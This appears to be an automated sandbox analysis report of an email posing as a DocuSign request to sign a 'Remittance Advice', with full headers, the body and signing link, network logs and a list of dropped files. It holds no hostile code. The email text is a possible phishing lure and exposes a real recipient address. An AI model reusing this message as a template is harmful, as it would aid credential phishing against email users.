Preview:	L..................F.@.. ...$+.,....:.w....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I^Y:.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V^YI.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V^YI.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V^YI............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V^YJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........i3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

File type:	RFC 822 mail, Unicode text, UTF-8 (with BOM) text, with very long lines (339), with CRLF line terminators
Entropy (8bit):	5.937871759542519
TrID:	Text - UTF-8 encoded (3003/1) 100.00%
File name:	Complete with Docusign_ Remittance Advice .pdf(1).eml
File size:	20'308 bytes
MD5:	21ceb47d9bab6a7394fa0eb2dc385fc9
SHA1:	c97eb2e6a3073729107aadd14704dc01338a6451
SHA256:	cc62f19a6dbd5fd89c935ca9b39dfb21d4fdb9c7e1f87bc8c413799f188efa06
SHA512:	ebd13b1a205ff52c396d489246d79e5306060996645798661e771a85f3d2deb2b8375a4d999699da8ebfc0e01bcd1d37b9efa3527126203af2f13dd7c37123cf
SSDEEP:	384:uq8jxxSNZIt/q47gq9DGj1tGEWPQmlPbfefo:MjI69q4JW0Pbeg
TLSH:	79920BA58211107BAFB3120574113DD672615C9E9AF29490BC3B75392C9F8363FABB8F
File Content Preview:	...Received: from SA3PR13MB6347.namprd13.prod.outlook.com (2603:10b6:806:37f::22).. by PH7PR13MB5429.namprd13.prod.outlook.com with HTTPS; Wed, 30 Oct 2024.. 15:09:22 +0000..Received: from BN0PR08CA0027.namprd08.prod.outlook.com (2603:10b6:408:142::25)..

Subject:	Complete with Docusign: Remittance Advice .pdf
From:	Matt Davies via Docusign <dse_NA4@docusign.net>
To:	"clounsbury@phoenixcrane.com" <clounsbury@phoenixcrane.com>
Cc:
BCC:
Date:	Wed, 30 Oct 2024 08:09:17 -0700
Communications:	Hello clounsbury@phoenixcrane.com, Matt Davies has sent you a new Docusign document to view and sign. Please click on the link below to begin signing. REVIEW DOCUMENT https://na4.docusign.net/Signing/EmailStart.aspx?a=1a10f8a2-bc91-4de8-87d6-62c09adfe371&etti=24&acct=6fc3f7d8-705f-45b1-859d-ee6b3e4ec813&er=2d989881-8a05-4258-ae3f-e6cf5573670f If clicking the link does not work, you can highlight and copy the entire line above and paste it into your browser to get started. This message was sent to you by Matt Davies who is using the Docusign Electronic Signature Service. If you would rather not receive email from this sender you may contact the sender with your request. Do Not Share This Email This email contains a secure link to Docusign. Please do not share this email, link, or access code with others. Questions about the Document? If you need to modify the document or have questions about the details in the document, please reach out to the sender by emailing them directly. Stop receiving this email Report this email https://protect.docusign.net/report-abuse?e=AUtomjpFak9GlbPL0zFFi11nvPvhNN9U5-awyJ6YeimgW9YnY_hFeh5OnP25oWV8AHKYzvKMj9wDP9A6R12zatnedh-naK3Ig5WgFcKjlF7FP1XDk8p_3j7gtCQEHsmEpGilKIIp3Wl5AoZqsWwYMeXvVCd0dcZQGezxMXBS6A6_a6gpZr7IKwtxZodiSVuAeNCAoQxKE1FfhKAkv-fCHCBnJHYD4ynPsHkKSfP6GrHIG0bkGw4mmrKwBiTmSD06cgYuHdBM7BgntUA-UuHsDFUYCZCSA9KNE95sMaoHQjQ6UW31ecIvrhcsQp0MlpGPxikst2fjKuSVvLFI4DhbjtYukn5g_L9XAplF-pU5GsHVzLmBD6cOpXsQBJIcPSfglbjyXCaKG_b5cT8AjD2ifFH5FAlqw3Pd94b7xEQgAOsH_zrteVKMqLgX6o0hdiintA&lang=en Declining to sign Managing notifications If you have trouble signing, visit "How to Sign a Document" on our Docusign Support Center, or browse our Docusign Community for more information. https://support.docusign.com/s/articles/How-do-I-sign-a-DocuSign-document-Basic-Signing?language=en_US&utm_campaign=GBL_XX_DBU_UPS_2211_SignNotificationEmailFooter&utm_medium=product&utm_source=postsend
Attachments:

Key	Value
Received	from docusign.net ([127.0.0.1]) by SE103FE56.corp.docusign.net with Microsoft SMTPSVC(10.0.17763.1697); Wed, 30 Oct 2024 08:09:17 -0700
Authentication-Results	spf=pass (sender IP is 64.207.219.9) smtp.mailfrom=docusign.net; dkim=pass (signature was verified) header.d=docusign.net;dmarc=pass action=none header.from=docusign.net;compauth=pass reason=100
Received-SPF	Pass (protection.outlook.com: domain of docusign.net designates 64.207.219.9 as permitted sender) receiver=protection.outlook.com; client-ip=64.207.219.9; helo=mailsea.docusign.net; pr=C
DKIM-Signature	v=1; a=rsa-sha256; c=relaxed/simple; d=docusign.net; s=mail1; t=1730300957; bh=FOwMrDKIs39ONXAtqc1cksULvMAdXqYxgLKfGTEJcoo=; h=From; b=UZS8ZiE2AyfEBOfPaq4ck86oRDyw+9zwwPstv7+D98UMcK9ycNFYeRgxw1XxuqRUh rRe5E2vlvmBw2uoRX35q1dOS5crdt7y/IJ4zGcKxTh/vqp+gz0R4eNKW2GNmRCyUpQ NqgTeFEPoJYdoJ+Az5nBWaSSNVTOSlDouiBHpPfigi7cpbKonteBK2RzEHu9Ca/elp TwJZYPul2UWKMOURdORA1oEqeQc8gIgjqLlIkGoNzzahmaemwYKAafED+j/b5IL/Rq yTx1O+Lec8f5SN+2kBMA5qlJmyBZQV6rAIVputnAJIGQ7BzGOqs7YCcfR8Q7Zc8r68 Q0XHengvz0yyA==
Sender	DocuSign NA4 System <dse_NA4@docusign.net>
Reply-To	Matt Davies <matt.davies@lsaacteam.com>
Recipient-Id	2d989881-8a05-4258-ae3f-e6cf5573670f
X-Debug	False
X-Email-Rejection-Mode	LearningMode
X-Api-Host	na4.docusign.net
Site-Id	7
X-BounceEmailVersion	1
From	Matt Davies via Docusign <dse_NA4@docusign.net>
To	"clounsbury@phoenixcrane.com" <clounsbury@phoenixcrane.com>
Message-ID	<0540b8c0dd09429998282311c73c2481@docusign.net>
Date	Wed, 30 Oct 2024 08:09:17 -0700
Subject	Complete with Docusign: Remittance Advice .pdf
Content-Type	multipart/alternative; boundary="----=_NextPart_3D9D73D1_0D45_4534_9BA4_431AFDD109C4"
X-OriginalArrivalTime	30 Oct 2024 15:09:17.0520 (UTC) FILETIME=[B084E500:01DB2ADD]
Return-Path	dse_NA4@docusign.net
X-MS-Exchange-Organization-ExpirationStartTime	30 Oct 2024 15:09:19.1271 (UTC)
X-MS-Exchange-Organization-ExpirationStartTimeReason	OriginalSubmit
X-MS-Exchange-Organization-ExpirationInterval	1:00:00:00.0000000
X-MS-Exchange-Organization-ExpirationIntervalReason	OriginalSubmit
X-MS-Exchange-Organization-Network-Message-Id	7caae133-5bfb-45bf-1e76-08dcf8f4d3f1
X-EOPAttributedMessage	0
X-EOPTenantAttributedMessage	0afd583a-94e7-46fc-9146-b0566f9b6e2e:0
X-MS-Exchange-Organization-MessageDirectionality	Incoming
X-MS-PublicTrafficType	Email
X-MS-TrafficTypeDiagnostic	BL02EPF0001A0FA:EE_\|SA3PR13MB6347:EE_\|PH7PR13MB5429:EE_
X-MS-Exchange-Organization-AuthSource	BL02EPF0001A0FA.namprd03.prod.outlook.com
X-MS-Exchange-Organization-AuthAs	Anonymous
X-MS-Office365-Filtering-Correlation-Id	7caae133-5bfb-45bf-1e76-08dcf8f4d3f1
X-MS-Exchange-AtpMessageProperties	SA\|SL\|HVE
X-MS-Exchange-Organization-SCL	1
X-Microsoft-Antispam	BCL:4;ARA:13230040\|69100299015\|1032899013\|3072899012\|3092899012\|6062899009\|12012899012\|5082899009\|2092899012\|4092899012\|35002699018\|5062899012\|13012899012\|13102899012\|4076899003\|8096899003\|2066899003;
X-Forefront-Antispam-Report	CIP:64.207.219.9;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mailsea.docusign.net;PTR:mailsea.docusign.net;CAT:NONE;SFS:(13230040)(69100299015)(1032899013)(3072899012)(3092899012)(6062899009)(12012899012)(5082899009)(2092899012)(4092899012)(35002699018)(5062899012)(13012899012)(13102899012)(4076899003)(8096899003)(2066899003);DIR:INB;
X-MS-Exchange-CrossTenant-OriginalArrivalTime	30 Oct 2024 15:09:18.8614 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id	7caae133-5bfb-45bf-1e76-08dcf8f4d3f1
X-MS-Exchange-CrossTenant-Id	0afd583a-94e7-46fc-9146-b0566f9b6e2e
X-MS-Exchange-CrossTenant-AuthSource	BL02EPF0001A0FA.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs	Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader	Internet
X-MS-Exchange-Transport-CrossTenantHeadersStamped	SA3PR13MB6347
X-MS-Exchange-Transport-EndToEndLatency	00:00:03.9284209
X-MS-Exchange-Processed-By-BccFoldering	15.20.8093.023
X-Microsoft-Antispam-Mailbox-Delivery	ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(930097)(140003);
X-Microsoft-Antispam-Message-Info	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
MIME-Version	1.0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 17:02:18.610387087 CET	53	63607	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:18.687338114 CET	55423	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:18.687586069 CET	62798	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:18.702415943 CET	53	54916	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:19.925576925 CET	53	52481	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:22.395328999 CET	57028	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:22.395597935 CET	52440	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:22.401904106 CET	60319	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:22.402210951 CET	58975	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:22.428803921 CET	53	58975	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:22.435719967 CET	53	60319	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:23.427413940 CET	65412	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:23.427592039 CET	59209	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:23.435491085 CET	53	65412	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:23.435826063 CET	53	59209	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:23.517193079 CET	53591	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:23.517571926 CET	57625	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:23.531493902 CET	64408	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:23.531680107 CET	62074	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:23.541871071 CET	53	64408	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:23.564871073 CET	53	62074	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:24.443785906 CET	59515	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:24.444190025 CET	63837	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:24.451678991 CET	53	59515	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:24.452464104 CET	53	63837	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:25.222861052 CET	53900	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:25.223031044 CET	54537	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:25.230206966 CET	53	53900	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:25.230551958 CET	53	54537	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:36.859703064 CET	53	55528	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:37.328054905 CET	50849	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:37.328201056 CET	53896	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:37.335513115 CET	53	50849	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:37.336147070 CET	53	53896	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:38.250741005 CET	60044	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:38.250945091 CET	56113	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:38.258270979 CET	53	56113	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:38.259139061 CET	53	60044	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:39.610801935 CET	60978	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:39.610996008 CET	53500	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:02:41.713340998 CET	53	52075	1.1.1.1	192.168.2.16
Oct 30, 2024 17:02:55.861206055 CET	53	64340	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:08.415124893 CET	55265	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:08.415266037 CET	62367	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:08.425823927 CET	53	55265	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:08.425847054 CET	53	62367	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:11.975200891 CET	63783	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:11.975476027 CET	65020	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:11.984000921 CET	53	65020	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:11.986481905 CET	53	63783	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:13.760581017 CET	64594	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:13.760763884 CET	49377	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:13.769124031 CET	53	49377	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:13.770332098 CET	53	64594	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:13.782458067 CET	58250	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:13.782646894 CET	62888	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:13.791393042 CET	53	58250	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:13.791403055 CET	53	62888	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:16.689995050 CET	59623	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:16.690152884 CET	53877	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:16.697462082 CET	53	53877	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:16.698261023 CET	53	59623	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:18.601147890 CET	53	50161	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:18.775592089 CET	53	59677	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:20.537197113 CET	138	138	192.168.2.16	192.168.2.255
Oct 30, 2024 17:03:36.900058031 CET	61283	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:36.900432110 CET	54013	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:36.908520937 CET	53	61283	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:36.908761978 CET	53	54013	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:37.909205914 CET	49564	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:37.909352064 CET	61505	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:37.916899920 CET	53	49564	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:37.917381048 CET	53	61505	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:38.018846989 CET	62440	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:38.019037962 CET	54016	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:38.268305063 CET	53	54016	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:38.296520948 CET	53	62440	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:40.787708044 CET	64397	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:40.787942886 CET	62686	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:41.780319929 CET	58116	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:41.780478001 CET	52150	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:42.861205101 CET	56768	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:42.861397028 CET	63775	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:42.869663000 CET	53	63775	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:42.957161903 CET	52221	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:42.957307100 CET	58292	53	192.168.2.16	1.1.1.1
Oct 30, 2024 17:03:42.965497017 CET	53	58292	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:43.230835915 CET	53	56768	1.1.1.1	192.168.2.16
Oct 30, 2024 17:03:46.450575113 CET	53	59160	1.1.1.1	192.168.2.16

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Complete with Docusign_ Remittance Advice .pdf(1).eml

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{CF401D11-800B-47CE-B7D5-AE5CAD61CE5A}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1730304131246644100_AAA3FBC8-B56F-4944-B521-1E90C57B435E.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1730304131247318200_AAA3FBC8-B56F-4944-B521-1E90C57B435E.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241030T1202110016-4212.etl

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Windows Analysis Report
Complete with Docusign_ Remittance Advice .pdf(1).eml

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 30, 2024 17:02:18.724133968 CET	192.168.2.16	1.1.1.1	c26f	(Port unreachable)	Destination Unreachable
Oct 30, 2024 17:02:23.565022945 CET	192.168.2.16	1.1.1.1	c274	(Port unreachable)	Destination Unreachable
Oct 30, 2024 17:03:40.817926884 CET	192.168.2.16	1.1.1.1	c26f	(Port unreachable)	Destination Unreachable
Oct 30, 2024 17:03:41.811171055 CET	192.168.2.16	1.1.1.1	c26f	(Port unreachable)	Destination Unreachable

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 17:02:14.862885952 CET	1.1.1.1	192.168.2.16	0xa33a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:14.862885952 CET	1.1.1.1	192.168.2.16	0xa33a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:18.698975086 CET	1.1.1.1	192.168.2.16	0x2b4b	No error (0)	na4.docusign.net	na4.docusign.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:18.724055052 CET	1.1.1.1	192.168.2.16	0x3e6d	No error (0)	na4.docusign.net	na4.docusign.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:22.404468060 CET	1.1.1.1	192.168.2.16	0xefe4	No error (0)	docucdn-a.akamaihd.net	docucdn-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:22.404501915 CET	1.1.1.1	192.168.2.16	0xb725	No error (0)	docucdn-a.akamaihd.net	docucdn-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:22.428803921 CET	1.1.1.1	192.168.2.16	0x1dfe	No error (0)	a.docusign.com	arya-1323461286.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:22.435719967 CET	1.1.1.1	192.168.2.16	0xdec6	No error (0)	a.docusign.com	arya-1323461286.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:22.435719967 CET	1.1.1.1	192.168.2.16	0xdec6	No error (0)	arya-1323461286.us-west-2.elb.amazonaws.com		52.42.45.237	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:22.435719967 CET	1.1.1.1	192.168.2.16	0xdec6	No error (0)	arya-1323461286.us-west-2.elb.amazonaws.com		54.187.212.170	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:22.435719967 CET	1.1.1.1	192.168.2.16	0xdec6	No error (0)	arya-1323461286.us-west-2.elb.amazonaws.com		44.239.225.250	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:23.435491085 CET	1.1.1.1	192.168.2.16	0x6c2b	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:23.435826063 CET	1.1.1.1	192.168.2.16	0xf367	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 30, 2024 17:02:23.525294065 CET	1.1.1.1	192.168.2.16	0xe141	No error (0)	docucdn-a.akamaihd.net	docucdn-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:23.526652098 CET	1.1.1.1	192.168.2.16	0x9074	No error (0)	docucdn-a.akamaihd.net	docucdn-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:23.541871071 CET	1.1.1.1	192.168.2.16	0x7965	No error (0)	a.docusign.com	arya-1323461286.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:23.541871071 CET	1.1.1.1	192.168.2.16	0x7965	No error (0)	arya-1323461286.us-west-2.elb.amazonaws.com		44.239.225.250	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:23.541871071 CET	1.1.1.1	192.168.2.16	0x7965	No error (0)	arya-1323461286.us-west-2.elb.amazonaws.com		52.42.45.237	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:23.541871071 CET	1.1.1.1	192.168.2.16	0x7965	No error (0)	arya-1323461286.us-west-2.elb.amazonaws.com		54.187.212.170	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:23.564871073 CET	1.1.1.1	192.168.2.16	0x1545	No error (0)	a.docusign.com	arya-1323461286.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:24.451678991 CET	1.1.1.1	192.168.2.16	0x967b	No error (0)	api.mixpanel.com		107.178.240.159	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:24.451678991 CET	1.1.1.1	192.168.2.16	0x967b	No error (0)	api.mixpanel.com		35.190.25.25	A (IP address)	IN (0x0001)	false
